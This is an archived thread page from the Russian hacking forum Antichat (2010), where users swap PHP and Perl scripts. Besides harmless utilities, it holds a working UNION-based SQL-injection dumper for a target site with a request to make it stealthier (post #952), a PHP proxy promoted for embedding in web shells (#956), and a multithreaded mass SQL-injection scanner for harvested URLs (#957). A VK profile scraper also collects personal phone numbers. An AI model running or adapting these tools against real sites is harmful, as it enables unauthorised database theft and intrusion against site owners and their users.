ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > Программирование_OLD > PHP, PERL, MySQL, JavaScript
   
 
 
Опции темы Поиск в этой теме Опции просмотра

  #951  
Старый 05.01.2010, 18:39
ahtovo
Новичок
Регистрация: 10.11.2008
Сообщений: 1
Провел на форуме:
916

Репутация: 0
Question

Доброго всем времени суток! помогите мне написать скрипт чтоб можно было с мобильного телефона выгрузить на сайт (име папки указывается переменой) фото, аудио, видео и джава!
стандартное копифайл не пашет, как сделать негде не могу найти ни в нете ни в книгах!
заранее спасибо!
 

  #952  
Старый 17.01.2010, 19:34
Imperou$
Познающий
Регистрация: 23.05.2008
Сообщений: 84
Провел на форуме:
192463

Репутация: 97
По умолчанию

Привет всем. Ребят, не знал куда написать.Ситуация такая, есть сайт, есть уязвимость в скрипте после авторизации,MySQL 5 ветки.Т.е. снаружи к уязвимому параметру нет доступа, только после ввода логина и пароля. Нужен скрипт для дампа таблиц и полей из бд, есть вот такой

Код:
<?php  set_time_limit(0); for($n = 0;$n <= 500;$n++)         { $host = 'www.site.com';  $url = fsockopen($host, 80);   $req  = "GET /script.php?id=-1033901+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,concat(0x3c677261623e,0x3c677261623e,table_schema,0x203a20,table_name,0x203a20,column_name,0x3c2f677261623e2020),29,30,31,32+from+information_schema.columns+limit+$n,1/* HTTP/1.1\r\n";  $req .= "Host: $host\r\n";  $req .= "User-Agent: Opera/9.24 (Windows NT 5.1; U; eng)\r\n";  $req .= "Content-Type: application/x-www-form-urlencoded\r\n";  $req .= "Connection: Close\r\n\r\n";   fputs($url, $req); while (!feof($url)) { unset($buffer); $buffer = fread($url, 1028);                 $s = strstr($buffer,'<grab>');                   $nm = strpos($s,'</grab>');                  $result = substr($s,7,$nm - 7); 		$check = preg_replace("|grab>|", "", $result);                 #echo $pizdec; file_put_contents("dump.txt", $check, FILE_APPEND);  } $ns = "\n"; file_put_contents("dump.txt", $ns, FILE_APPEND); fclose($url);  }  ?>
в пхп не силён,есть ли возможность переделать скрипт для отсылки запросов к бд POST методом (непаливно), и прикрутить кукисы, чтобы их можно было менять, т.к. время сессии не бесконечно. Или по логину и паролю, хз. Могу заплатить, но не много, сейчас кризис временный =)
Очень на Вас надеюсь. Или хотя бы обьясните как реализовать.

Последний раз редактировалось Imperou$; 17.01.2010 в 19:41..
 

Заметки для Вкантакте.ру (Гороскоп, Погода)
  #953  
Старый 19.01.2010, 04:25
b3
Постоянный
Регистрация: 05.12.2004
Сообщений: 647
Провел на форуме:
1698585

Репутация: 818


Отправить сообщение для b3 с помощью ICQ
По умолчанию Заметки для Вкантакте.ру (Гороскоп, Погода)

Т.к. я являюсь задротом ВК, решил написать небольшой скрипт для Грабинга погоды с gismeteo.ua и Гороскопа с astrostar.ru.

Скрипт работает при наличии cURL и allow_url_fopen = On, ну мне как бы все равно у меня VDS =) Запускайте через cron 2 раза в сутки и будет вам щастье.
Небольшой README по настройке скрипта:
PHP код:
/* Конфиг: */
$a = new weather('http://www.gismeteo.ua/city/daily/5053/');
$session vk_login('email@rambler.ru','passwd');
$idnote_weather '9662358';
$idnote_horoscope '9664419'
1-я строка - ето ссылка на ваш город в gismeteo.ua.
2-я строка - авторизация для ВК, предельно ясно.
3-я строка - ID заметки в ВК для погоды, к примеру у меня ссылка на заметку:
vkontakte.ru/note****_9662358
берем число которое после прочерка, т.е. 9662358
4-я строка - аналогично 3-й но тут ID заметки для Гороскопа.

ЗЫ. Заметки создавать вручную, а скрипт уже будет их редактировать и сохранять.

Исходник:
Вложения
Тип файла: txt vk.txt (17.6 Кб, 42 просмотров)

Последний раз редактировалось b3; 19.01.2010 в 04:33..
 

  #954  
Старый 30.01.2010, 22:19
Deathdreams
Постоянный
Регистрация: 08.11.2008
Сообщений: 498
Провел на форуме:
2603363

Репутация: 278
Отправить сообщение для Deathdreams с помощью ICQ
По умолчанию

Проверка пользователя ВКонтакте на "онлайн" ( даже если его страница закрыта ).

Не требует дополнительных библиотек типа iconv.

PHP код:
<?php

@ini_set('max_execution_time'0);

$mail "durov@durov.ru"//нужен для проверки какой-либо аккаунт.
$pass "pasha"//пароль от этого аккаунта
$id "1"//ИД, который нужно проверить.


    
$log_in do_curl("http://login.userapi.com/auth""login=force&id=0&fccode=0&fcsid=0&site=2&email=".$mail."&pass=".$pass); 

    if( !
preg_match('#sid=(.+)#'$log_in$sid_tmp) )    die("Не удалось подключиться к API вконтакте.");




switch(
$sid $sid_tmp[1])    {

    case -
1: die("Неверный email или пароль"); break;

    case -
2: die("Вылезла капча, не смог авторизоваться :("); break;

    case -
3: die("Неверный email или пароль, при следующей попытке нужно будет отправить капчу"); break;

    case -
4: die("Неверный email или пароль, капча не вылезла"); break;

    default: echo 
"Авторизовались... sid: $sid<br /><br />"; break;

                }




    
$result utfwin(do_curl("http://userapi.com/data""act=profile&id=$id&sid=$sid"));


preg_match"#\"on\":(\d+)#"$result$out );

preg_match'#"fn":"(.+)"#U'$result$firstname );

preg_match'#"ln":"(.+)"#U'$result$lastname );



switch(
$out[1])    {

    case 
1:    $status "онлайн";    break;

    default: 
$status "оффлайн";    break;

        }


die( 
$firstname[1]." ".$lastname[1]." ".$status );


function 
utfwin($fcontents) {
    
$out $c1 '';
    
$byte2 false;
    for (
$c 0;$c strlen($fcontents);$c++) {
        
$i ord($fcontents[$c]);
        if (
$i <= 127) {
            
$out .= $fcontents[$c];
        }
        if (
$byte2) {
            
$new_c2 = ($c1 3) * 64 + ($i 63);
            
$new_c1 = ($c1 >> 2) & 5;
            
$new_i $new_c1 256 $new_c2;
            if (
$new_i == 1025) {
                
$out_i 168;
            } else {
                if (
$new_i == 1105) {
                    
$out_i 184;
                } else {
                    
$out_i $new_i 848;
                }
            }
            
// UKRAINIAN fix
            
switch ($out_i){
                case 
262$out_i=179;break;// і
                
case 182$out_i=178;break;// І 
                
case 260$out_i=186;break;// є
                
case 180$out_i=170;break;// Є
                
case 263$out_i=191;break;// ї
                
case 183$out_i=175;break;// Ї
                
case 321$out_i=180;break;// ґ
                
case 320$out_i=165;break;// Ґ
            
}
            
$out .= chr($out_i);
            
            
$byte2 false;
        }
        if ( ( 
$i >> 5) == 6) {
            
$c1 $i;
            
$byte2 true;
        }
    }
    return 
$out;
}

function 
do_curl($url$post=false){  
 
    
$c curl_init($url);  


    
curl_setopt($cCURLOPT_RETURNTRANSFER1); 
    
curl_setopt($cCURLOPT_HEADER1); 

    if(
$post)    {    curl_setopt($cCURLOPT_POST1);
                
curl_setopt($cCURLOPT_POSTFIELDS$post);  }

    
curl_setopt($cCURLOPT_HTTPHEADER, array('X-Requested-With: XMLHttpRequest')); 

 
    
$return curl_exec($c);  
    
curl_close($c);  
    return 
$return;  

}  

?>
 

IMAGE TO HTML
  #955  
Старый 08.02.2010, 22:03
WNZRS
Участник форума
Регистрация: 03.09.2009
Сообщений: 179
Провел на форуме:
1014907

Репутация: 90
Отправить сообщение для WNZRS с помощью ICQ
Arrow IMAGE TO HTML

преобразование GIF PNG JPG в HTML таблицу
для работы нужен GD
PHP код:
<?php
    
echo '<title>JPG PNG GIF to PIC conv</title>
    <style>
    input {border:1px solid black;}
    </style>
    <form action="conv2.php" method="POST">
    IN <input type="text" name="in" value="img.jpg">
    OUT <input type="text" name="out" value="new.html">
    PIXEL <input type="text" name="pixel" value="1">
    PLUS <input type="text" name="plus" value="1">
    <input type="submit" value="OPEN">
    </form>
    '
;
    if(isset(
$_POST['in']))
    {
        
$in $_POST['in']; // Входное изображение
        
$out $_POST['out']; // Выходной файл
        
$pixel $_POST['pixel']; // Размер пикселя в пикселях
        
$plus $_POST['plus']; // Плюс для цкла (типа сжатие)
        
$type substr($in,-3);
        
        
$size getimagesize($in);

        if(
$type=='png'$img=imagecreatefrompng($in);
        else if(
$type=='gif'$img=imagecreatefromgif($in);
        else if(
$type=='jpg'$img=imagecreatefromjpeg($in);
        
        
$f fopen($out'w');
        
        
$size explode(' '$size[3]);

        
$width substr($size[0], strpos($size[0], '"')+1, -1);
        
$height substr($size[1], strpos($size[1], '"')+1, -1);
        
        
fwrite($f'<table border="0" cellspacing="0" cellpadding="0">');

        for(
$y 0$y $height$y+=$plus)
        {    
            
fwrite($f'<tr height="'.$pixel.'">');
            for(
$x 0$x $width$x+=$plus)
            {
                
$idx imagecolorat($img$x$y);
                
$color imagecolorsforindex($img$idx);
                    
                
$red base_convert($color['red'], 1016);
                
$green base_convert($color['green'], 1016);
                
$blue base_convert($color['blue'], 1016);
                
                if(
strlen($red) < 2)
                    
$red '0'.$red;
                if(
strlen($blue) < 2)
                    
$blue '0'.$blue;
                if(
strlen($green) < 2)
                    
$green '0'.$green;
                
                
fwrite($f'<td style="background:#'.$red.$green.$blue.';" width="'.$pixel.'" height="'.$pixel.'"></td>');
            }
            
fwrite($f'</tr>');
        }
        
fwrite($f'</table>');
        
fclose($f);
        
    }
?>
 

PHP PROXY
  #956  
Старый 08.02.2010, 22:04
WNZRS
Участник форума
Регистрация: 03.09.2009
Сообщений: 179
Провел на форуме:
1014907

Репутация: 90
Отправить сообщение для WNZRS с помощью ICQ
Post PHP PROXY

Не большой класс PHP Proxy, можно встраивать в шелы (для доступа к разделам сайта где ограничение по IP)
PHP код:
<?php
    
class WebProxy
    
{
        var 
$url '';
        var 
$page '';
        var 
$content '';
        var 
$config;
        var 
$brouser 'Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.6) Gecko/2009011913 Firefox/3.6.0';
        
        function 
WebProxy($cookie 1$ref 1$arch 0$img 0)
        {
            
$this->config = array('cookie'=>$cookie'ref'=>$ref'archive'=>$arch'img'=>$img);
            
session_start();
        }
        function 
GetPage($url)
        {
            
$this->url urldecode($url);
            
            
$l_url '';
            
            if(
$this->config['ref'] == 1)
            {
                if(!isset(
$_GET['img']) && isset($_SESSION['url'])) 
                    
$l_url $_SESSION['url'];
                    
                
$_SESSION['url'] = $this->url;
            }
            
            
$cookie '';
            if(isset(
$_SESSION['cookie']) && $this->config['cookie'] == 1
                
$cookie $this->implode_x('; '$_SESSION['cookie']);
            
            
$curl curl_init();
                
            
curl_setopt($curlCURLOPT_USERAGENT$this->brouser);
            
curl_setopt($curlCURLOPT_URL$this->url);
            
curl_setopt($curlCURLOPT_RETURNTRANSFER1);
            if(
strlen(ini_get('open_basedir')) == 0// If safe_mode Off
                
curl_setopt($curlCURLOPT_FOLLOWLOCATION1);
            
curl_setopt($curlCURLOPT_HEADER1);
            
curl_setopt($curlCURLOPT_TIMEOUT10);
            if(
$this->config['ref'] == 1
                
curl_setopt($curlCURLOPT_REFERER'http://'.$l_url);
                
            if(
$this->config['cookie'] == 1)
            {
                
curl_setopt($curlCURLOPT_COOKIESESSION 1);
                
curl_setopt($curlCURLOPT_COOKIE$cookie);
            }
            if(
sizeof($_POST) > 0
            {
                
curl_setopt($curlCURLOPT_POST1);
                
curl_setopt($curlCURLOPT_POSTFIELDSimplode_x('&'$_POST));
            }
            
            
$this->page curl_exec($curl);
        }
        function 
ParseHeader()
        {
            if(
$this->config['cookie'] == 1)
            {
                
$mass = array();
                
preg_match_all('~Set-Cookie: ([^\r\n;]*)[\r\n;]~i'$this->page$mass);
                foreach(
$mass[1] as $val)
                {
                    
$cook explode('='$val);
                    
$name trim($cook[0]);
                    
$value trim($cook[1]);
                    
$_SESSION['cookie'][$name] = $value;
                }
            }

            
$one 1;
            
$result explode("\r\n\r\n"$this->page);
            for(
$i=0$i sizeof($result); $i++)
                if(
substr($result[$i], 04) == 'HTTP'
                { 
                    if(
$one)
                    {
                        
$r = array();
                        
preg_match('/(content-type: [^\r\n]+)/i'$result[$i], $r);
                        if(isset(
$r[1])) $this->content $r[1];
                        
                        
$t = array();
                        
preg_match('/[\r\n]Location: (.+)[\r\n]/Uis'$result[$i], $t);
                        if(isset(
$t[1]))
                        {
                            
header('Location: '.$_SERVER['SCRIPT_NAME'].'?url='.$this->url_preg(trim($t[1])));
                            exit();
                        }
                        
                        
$one 0;
                    }
                    unset(
$result[$i]); 
                }
            
$this->page implode("\r\n\r\n"$result);
        }
        function 
FilterURL()
        {
            if(
$this->config['img'] == 0)
            {
                
$this->page preg_replace_callback('/<([^>]+)(href|action|src)([^>"\']*)(["\'])([^"\']*)(\4)/Uis', array(&$this'url_preg'), $this->page);
                
$this->page preg_replace_callback('/url\(([^\)]+)\)/Uis', array(&$this'url_css_preg'), $this->page);
            }
        }
        function 
RemoveScript()
        {
            if(
$this->config['img'] == 0)
            {
                
$this->page preg_replace('/<script[^>]*>.+<\/script>/Uis'''$this->page);
                
$this->page preg_replace('/(onload|onmouseover|onmouseout|onmousedown|onmouseup|onclick|onmousemove)[^=]*=([^"])*"[^"]*\2/Uis'''$this->page);
            }
        }
        function 
DrawPage()
        {
            if(
$this->config['archive'] == && $this->config['img'] == 0)
            {
                
$this->page preg_replace('/([\r\n\t]|(<![^>]*>)|[ ][ ])/Uis'''$this->page);
            }
            
            if(
strlen($this->content) > 1header($this->content);
            echo 
$this->page;
            if(
$this->config['img'] == 0$this->form($this->url);
        }
        function 
form($url='http://')
        {
            echo 
'<hr><div style="text-align:center;"><form action="'.$_SERVER['SCRIPT_NAME'].'" method="GET"><input size="100" id="url" name="url" value="'.
                
$url.'"><input type="submit" value="GO"></form></div>';
        }
        function 
implode_x($x$a)
        {
            
$str '';
            foreach(
$a as $key=>$value)
            {
                if(
strlen($str)>1$str .= $x;
                
$str .= $key.'='.$value;
            }
            return 
$str;
        }
        function 
url_css_preg($m)
        {
            return 
'url('.$_SERVER['SCRIPT_NAME'].'?url='.$this->url_preg($m[1]).')';
        }
        function 
url_preg($m)
        {
            
$istring is_string($m);
            
            
$str $m;
            if(!
$istring$str $m[5];
            
            if(
strcmp(substr($str02), '//') == 0$str 'http:'.$str;
            if(
strcmp(substr($str09), 'javascipt') == && !$istring) return $m[0];
            if(
substr($str04) != 'http')
            {
                
$u explode('/'$this->url);
                
$x explode('/'$str);        
                
                if(
sizeof($x) == 0)
                    
$str $u[0].'//'.$u[2].'/';
                else if(
$x[0] == '')
                {
                    unset(
$x[0]);
                    
$str $u[0].'//'.$u[2].'/'.implode('/'$x);
                }
                else if(
$x[0] == '..')
                {
                    
$e sizeof($u)-1;
                    if(
$e 2) { unset($u[$e]); $e--; unset($x[0]); }
                    for(
$i 1$i sizeof($x); $i++)
                        if(
$x[$i] == '..' && $e 2) { unset($u[$e]); $e--; unset($x[$i]); }
                        else break;
                        
                    
$str implode('/'$u);
                    if(
$str[strlen($str)-1] != '/'$str .= '/';
                    
$str .= implode('/'$x);
                }
                else 
                {
                    if(
strpos($u[sizeof($u)-1], '.') != 0) unset($u[sizeof($u)-1]);
                    
$str implode('/'$u);
                    if(
$str[strlen($str)-1] != '/'$str .= '/';
                    
$str .= implode('/'$x);
                }
            }
            
            
$str urlencode($str);
            if(
$istring) return $str;
            
            if(
strcmp($m[2], 'href') == || strcmp($m[2], 'action') == 0) return '<'.$m[1].$m[2].$m[3].$m[4].$_SERVER['SCRIPT_NAME'].'?url='.$str.'"';
            else return 
'<'.$m[1].$m[2].$m[3].$m[4].$_SERVER['SCRIPT_NAME'].'?url='.$str.'&img'.$m[6];
        }
    }
    
    
$proxy = new WebProxy(111, isset($_GET['img']));
    
$proxy->GetPage($_GET['url']);
    
$proxy->ParseHeader();
    
$proxy->FilterURL();
    
$proxy->RemoveScript();
    
$proxy->DrawPage();
?>
 

  #957  
Старый 09.02.2010, 19:37
daniel_1024
Участник форума
Регистрация: 15.07.2009
Сообщений: 158
Провел на форуме:
698831

Репутация: 34
По умолчанию

Вообщем кому надо, вот скрипт проверяющий все урлы в текстовике на sql - инъекцию. Если сайт уязвим, скрипт узнает количество колонок.
Результат записывается в текстовик.
Код:
#!/usr/bin/perl -w
##########################################
##########Coded by Daniel_1024 #################
##########################################
use warnings;
use threads;
use threads::shared;
use LWP::Simple;
use LWP::UserAgent;
use HTTP::Request;
system(cls);
print "Enter a file with targets:";
$file = <STDIN>;
print "Enter output file:";
$vulnfile=<STDIN>;
print "Enter number of threads:";
$tn=<STDIN>;
open("FILE", $file) || die "Couldn't open file\n";
my @sites : shared =<FILE>;
close("FILE");
chomp(@sites);

my $num = 0;
my @trl = undef;
my $null   = "09+and+1=" ;
my $code   = "0+union+select+" ;
my $add = '+' ; 
my $com ='--';

print "Scan started\n";

for(0..$tn-1) {$trl[$_] = threads->create(\&test, $_);}
for(@trl)   { $_->join; }

sub test
{
	while(@sites){
		 { lock(@sites);}
         my $site = shift(@sites);
		 my $i = 0;
		 my $col = '';
		 my $specialword = '';
		 my $injection = $site.$null.$code."0",$com ;
		 my $useragent = LWP::UserAgent->new();
		 $useragent->proxy("http", "http://$proxy/") if defined($proxy);
		 my $response  = $useragent->get($injection);
		 my $result   = $response->content;
		 if( $result =~ m/You have an error in your SQL syntax/i || $result =~ m/Query failed/i || $result =~ m/SQL query failed/i || $result =~ m/mysql_fetch_/i || $result =~ m/mysql_fetch_array/i || $result =~ m/mysql_num_rows/i || $result =~ m/The used SELECT statements have a different number of columns/i )
		 {
			 for ($i = 0 ; $i < 35 ; $i ++)
			 {
				 $col.=','.$i;
				 $specialword.=','."0x617a38387069783030713938";
				 if ($i == 0)
				 {
					 $specialword = '' ; 
					 $col = '' ;
				 }
				 $sql=$site.$null.$code."0x617a38387069783030713938".$specialword.$com ;
				 $ua = LWP::UserAgent->new();
				 $ua->proxy("http", "http://$proxy/") if defined($proxy);
				 $rq = $ua->get($sql);
				 $response = $rq->content;
				 if($response =~ /az88pix00q98/)
				 {
					 $i ++;			 
					 print "\n[!] The Website $site Is Vulnerable\n" ;
					 print "[!] It Have $i Columns\n" ;
					 $sql=$site.$null.$code."0".$col.$com ;
					 print "=> ".$sql ."\n";	
					 open(vuln_file,">>$vulnfile");
					 print vuln_file "$sql\n";
					 close(vuln_file);	 
				 }	
			 }
		 }
		 else
		 {
			 print "[!] The WebSite $site Is Not SQL Vulnerable !\n";
		 }
	}
		print "Scan finished";
		print "[+] Saved to $vulnfile";
	    sleep 5;
}
Это очень облегчает работу при проверке отпарсенных с поисковиков сайтов.
скрипт многопоточный, за 10 часов проверяет около 70к ссылок....вообщем нехило....
 

  #958  
Старый 09.02.2010, 21:22
taxpayer
Познающий
Регистрация: 17.01.2010
Сообщений: 33
Провел на форуме:
30813

Репутация: 33
По умолчанию

Код:
#!/usr/bin/perl -w
use warnings;
Забавно, зачем включение ключа?

Код:
use LWP::Simple;
use LWP::UserAgent;
use HTTP::Request;
Зачем LWP::Simple и HTTP::Request?

Код:
print "Enter a file with targets:";
$file = <STDIN>;
Наверно, корректно использование chomp
chomp (my $file = <>)


Код:
open("FILE", $file) || die "Couldn't open file\n";
my @sites : shared =<FILE>;
close("FILE");
chomp(@sites);
Использование глобальных переменных не модно вроде как)

open my $desc, '<', $file or die "$!\n";
chomp (my @sites :shared = <$desc>);
close $desc;

Код:
my $null   = "09+and+1=" ;
my $add = '+' ;

А в чём приоритеты исползования двойных кавычек в данном случае?
И в верхних строках ты my не юзаешь , странно как-то

Код:
{ lock(@sites);}
my $site = shift(@sites);

замок действует только внутри блока, ты весельчак)

Код:
$result =~ m/You have an error in your SQL syntax/i || $result =~ m/Query failed/i etc

а в регекспах нет такого my $a = m,a|b|c,i ?
Дальше не читал, там ещё хуже наверно

Думаю, целесообразно скрипт переписать
10 потоков было ограничение в первом сп, хватит какие-то непонятные ограничения на всё ставить
 

  #959  
Старый 11.02.2010, 00:48
VladZombie
Познающий
Регистрация: 18.04.2009
Сообщений: 33
Провел на форуме:
260138

Репутация: 2
По умолчанию

Может у кого есть скрипт для преобразование в транслит?
 

  #960  
Старый 11.02.2010, 02:17
Solker
Участник форума
Регистрация: 04.05.2006
Сообщений: 161
Провел на форуме:
389768

Репутация: 158
По умолчанию

Парсер страницы вконтакте
PHP код:
<?php

$id 
'1';

$url 'http://vkontakte.ru/id'.$id;
$cookie 'your cookie';

    
$ch curl_init();  
        
curl_setopt($chCURLOPT_URL$url); 
        
curl_setopt($chCURLOPT_HEADER1);
        
curl_setopt($chCURLOPT_COOKIE$cookie);
        
curl_setopt($chCURLOPT_FOLLOWLOCATION1);
        
curl_setopt($chCURLOPT_RETURNTRANSFER1);
        
curl_setopt($chCURLOPT_TIMEOUT50);
        
curl_setopt($chCURLOPT_CONNECTTIMEOUT50); 
        
$res_curl curl_exec($ch);
        
curl_close($ch);
        
// Head
preg_match('#<span id="activity_text">(.+?)<\/span>#i',$res_curl,$matches);
$finish['status'] = $matches[1];
preg_match('#<div class="profileName">\s+<h2>(.+?)<\/h2>\s+<\/div>#i',$res_curl,$matches);
$finish['full_name'] = $matches[1];
preg_match('#<div align="center">\s+<img src=(.+?) \/>\s+</div>#i',$res_curl,$matches);
$finish['avatar'] = $matches[1];

// Left
preg_match('#<div><h2>Друзья <span>\(([0-9]+)\)<\/span><\/h2><\/div>#i',$res_curl,$matches);
$finish['friends'] = $matches[1];
preg_match('#<div><h2>Фото <span>\(([0-9]+) .+\)<\/span><\/h2><\/div>#i',$res_curl,$matches);
$finish['albums'] = $matches[1];
preg_match('#<div><h2>Видео <span id="videos_how_much">\(([0-9]+) .+\)<\/span><\/h2><\/div>#i',$res_curl,$matches);
$finish['videos'] = $matches[1];
preg_match('#<a class="vTitle" href=".+?">(.+?)<\/a><br \/>#i',$res_curl,$matches);
$finish['last_video'] = $matches[1];
preg_match('#<div><h2>Заметки <span>\(([0-9]+)\)<\/span><\/h2><\/div>#i',$res_curl,$matches);
$finish['notes'] = $matches[1];
preg_match('#<a href="\/note'.$id.'.+?">(.+?)<\/a>#i',$res_curl,$matches);
$finish['last_note'] = $matches[1];
preg_match('#<div><h2>Приложения <span>\(([0-9]+)\)<\/span><\/h2><\/div>#i',$res_curl,$matches);
$finish['apps'] = $matches[1];
preg_match('#<a style="float: left" id=".+" href="/app.+">(.+?)</a>#i',$res_curl,$matches);
$finish['last_app'] = $matches[1];
preg_match('#<div><h2>Вопросы <span>\(([0-9]+)\)<\/span><\/h2><\/div>#i',$res_curl,$matches);
$finish['questions'] = $matches[1];
preg_match('#<div><h2>Группы <span>\(([0-9]+)\)<\/span><\/h2><\/div>#i',$res_curl,$matches);
$finish['groups'] = $matches[1];

// Right
preg_match('#<td class="label">Пол:<\/td>\s+<td class="data">\s+<div class="dataWrap">\s+(.+?)</a>#i',$res_curl,$matches);
$finish['sex'] = strip_tags($matches[1]);
preg_match('#<td class="label">Семейное положение:<\/td>\s+<td class="data">\s+<div class="dataWrap">\s+(.+?)</a>#i',$res_curl,$matches);
$finish['family'] = strip_tags($matches[1]);
preg_match('#<td class="label">День рождения:<\/td>\s+<td class="data">\s+<div class="dataWrap">\s+(.+?)\s+<\/div>#i',$res_curl,$matches);
$finish['birthday'] = strip_tags($matches[1]);
preg_match('#<td class="label">Родной город:<\/td>\s+<td class="data">\s+<div class="dataWrap">\s+(.+?)\s+<\/div>#i',$res_curl,$matches);
$finish['home_city'] = strip_tags($matches[1]);
preg_match('#<td class="label">Полит. взгляды:<\/td>\s+<td class="data">\s+<div class="dataWrap">\s+(.+?)</a>#i',$res_curl,$matches);
$finish['polit'] = strip_tags($matches[1]);
preg_match('#<td class="label">Религ. взгляды:<\/td>\s+<td class="data">\s+<div class="dataWrap">\s+(.+?)</a>#i',$res_curl,$matches);
$finish['relig'] = strip_tags($matches[1]);

preg_match('#<td class="label">Город:<\/td>\s+<td class="data">\s+<div class="dataWrap">\s+(.+?)<\/a>\s+<\/div>#i',$res_curl,$matches);
$finish['city'] = strip_tags($matches[1]);
preg_match('#<td class="label">Моб. телефон:<\/td>\s+<td class="data">\s+<div class="dataWrap">\s+(.+?)\s+<\/div>#i',$res_curl,$matches);
$finish['mob_t'] = strip_tags($matches[1]);
preg_match('#<td class="label">Дом. телефон:<\/td>\s+<td class="data">\s+<div class="dataWrap">\s+(.+?)\s+<\/div>#i',$res_curl,$matches);
$finish['hom_t'] = strip_tags($matches[1]);
preg_match('#<td class="label">ICQ:<\/td>\s+<td class="data">\s+<div class="dataWrap">\s+(.+?)\s+<\/div>#i',$res_curl,$matches);
$finish['icq'] = strip_tags($matches[1]);
preg_match('#<td class="label">Веб-сайт:<\/td>\s+<td class="data">\s+<div class="dataWrap">\s+(.+?)\s+<\/div>#i',$res_curl,$matches);
$finish['www'] = strip_tags($matches[1]);
preg_match('#<td class="label">Деятельность:<\/td>\s+<td class="data">\s+<div class="dataWrap">\s+(.+?)<\/a>\s+<\/div>#i',$res_curl,$matches);
$finish['activity'] = strip_tags($matches[1]);
preg_match('#<td class="label">Интересы:<\/td>\s+<td class="data">\s+<div class="dataWrap">\s+(.+?)<\/a>\s+<\/div>#i',$res_curl,$matches);
$finish['interests'] = strip_tags($matches[1]);
preg_match('#<td class="label">Любимая музыка:<\/td>\s+<td class="data">\s+<div class="dataWrap">\s+(.+?)<\/a>\s+<\/div>#i',$res_curl,$matches);
$finish['music'] = strip_tags($matches[1]);
preg_match('#<td class="label">Любимые фильмы:<\/td>\s+<td class="data">\s+<div class="dataWrap">\s+(.+?)<\/a>\s+<\/div>#i',$res_curl,$matches);
$finish['movies'] = strip_tags($matches[1]);
preg_match('#<td class="label">Любимые телешоу:<\/td>\s+<td class="data">\s+<div class="dataWrap">\s+(.+?)<\/a>\s+<\/div>#i',$res_curl,$matches);
$finish['tv_shows'] = strip_tags($matches[1]);
preg_match('#<td class="label">Любимые книги:<\/td>\s+<td class="data">\s+<div class="dataWrap">\s+(.+?)<\/a>\s+<\/div>#i',$res_curl,$matches);
$finish['books'] = strip_tags($matches[1]);
preg_match('#<td class="label">Любимые игры:<\/td>\s+<td class="data">\s+<div class="dataWrap">\s+(.+?)<\/a>\s+<\/div>#i',$res_curl,$matches);
$finish['games'] = strip_tags($matches[1]);
preg_match('#<td class="label">Любимые цитаты:<\/td>\s+<td class="data">\s+<div class="dataWrap">\s+(.+?)\s+<\/div>#i',$res_curl,$matches);
$finish['quotes'] = strip_tags($matches[1]);
preg_match('#<td class="label">О себе:<\/td>\s+<td class="data">\s+<div class="dataWrap">\s+(.+?)\s+<\/div>#i',$res_curl,$matches);
$finish['about'] = strip_tags($matches[1]);
preg_match('#<span>\((.+?) подар.+\)</span>#i',$res_curl,$matches);
$finish['gifts'] = strip_tags($matches[1]);

print_r($finish);
 
 





Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ